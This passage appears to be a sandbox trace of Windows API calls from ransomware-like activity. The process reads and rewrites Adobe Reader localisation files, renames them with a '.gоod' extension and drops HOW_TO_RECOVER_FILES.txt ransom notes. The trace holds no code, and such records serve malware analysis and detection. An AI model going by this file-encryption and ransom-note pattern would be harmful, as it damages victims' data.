SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0149.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0149.430] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua", lpFilePart=0x0) returned 0x68 [0149.430] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0149.431] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.431] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1361, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0149.431] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1361, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0149.431] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0149.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0149.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0149.431] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0149.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0149.431] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x379c938 | out: lpFileInformation=0x379c938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1361)) returned 1 [0149.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0149.431] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0149.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0149.432] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0149.432] GetFileType (hFile=0x808) returned 0x1 [0149.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0149.432] GetFileType (hFile=0x808) returned 0x1 [0149.432] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0149.432] ReadFile (in: hFile=0x808, lpBuffer=0x379ce10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x379ce10*, lpNumberOfBytesRead=0x1ffebaa8*=0x361, lpOverlapped=0x0) returned 1 [0150.000] CloseHandle (hObject=0x808) returned 1 [0150.000] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0150.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0150.000] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0150.000] GetFileType (hFile=0x808) returned 0x1 [0150.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0150.000] GetFileType (hFile=0x808) returned 0x1 [0150.000] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1361 [0150.001] WriteFile (in: hFile=0x808, lpBuffer=0x388fde0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x388fde0*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0150.001] CloseHandle (hObject=0x808) returned 1 [0150.001] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0150.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0150.001] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0150.001] GetFileType (hFile=0x808) returned 0x1 [0150.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0150.001] GetFileType (hFile=0x808) returned 0x1 [0150.001] ReadFile (in: hFile=0x808, lpBuffer=0x3892100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3892100*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0150.028] CloseHandle (hObject=0x808) returned 1 [0150.028] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0150.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0150.028] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0150.028] GetFileType (hFile=0x808) returned 0x1 [0150.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0150.028] GetFileType (hFile=0x808) returned 0x1 [0150.028] WriteFile (in: hFile=0x808, lpBuffer=0x3890df8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3890df8*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0150.028] CloseHandle (hObject=0x808) returned 1 [0150.028] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0150.028] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0150.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0150.028] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x55a25203, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1371)) returned 1 [0150.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0150.029] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\uk-ua\\ui-strings.js.gоod")) returned 1 [0150.029] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0150.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0150.029] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\uk-ua\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0150.030] GetFileType (hFile=0x808) returned 0x1 [0150.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0150.030] GetFileType (hFile=0x808) returned 0x1 [0150.030] WriteFile (in: hFile=0x808, lpBuffer=0x3912bb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3912bb8*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0150.031] CloseHandle (hObject=0x808) returned 1 [0150.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0150.032] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn", lpFilePart=0x0) returned 0x68 [0150.032] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0150.032] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.032] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0150.032] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0150.032] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0150.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0150.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0150.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0150.033] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn", lpFilePart=0x0) returned 0x68 [0150.033] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0150.033] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.033] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0150.033] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0150.033] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0150.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0150.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0150.034] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0150.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0150.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3922770 | out: lpFileInformation=0x3922770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdb6)) returned 1 [0150.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0150.034] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0150.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0150.034] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0150.034] GetFileType (hFile=0x808) returned 0x1 [0150.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0150.034] GetFileType (hFile=0x808) returned 0x1 [0150.034] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xdb6 [0150.034] ReadFile (in: hFile=0x808, lpBuffer=0x3923890, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x3923890*, lpNumberOfBytesRead=0x1ffeba08*=0xdb6, lpOverlapped=0x0) returned 1 [0150.459] CloseHandle (hObject=0x808) returned 1 [0150.486] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0150.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0150.486] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0150.487] GetFileType (hFile=0x808) returned 0x1 [0150.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0150.487] GetFileType (hFile=0x808) returned 0x1 [0150.487] WriteFile (in: hFile=0x808, lpBuffer=0x39f7a88*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x39f7a88*, lpNumberOfBytesWritten=0x1ffeb918*=0xdc0, lpOverlapped=0x0) returned 1 [0150.488] CloseHandle (hObject=0x808) returned 1 [0150.488] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 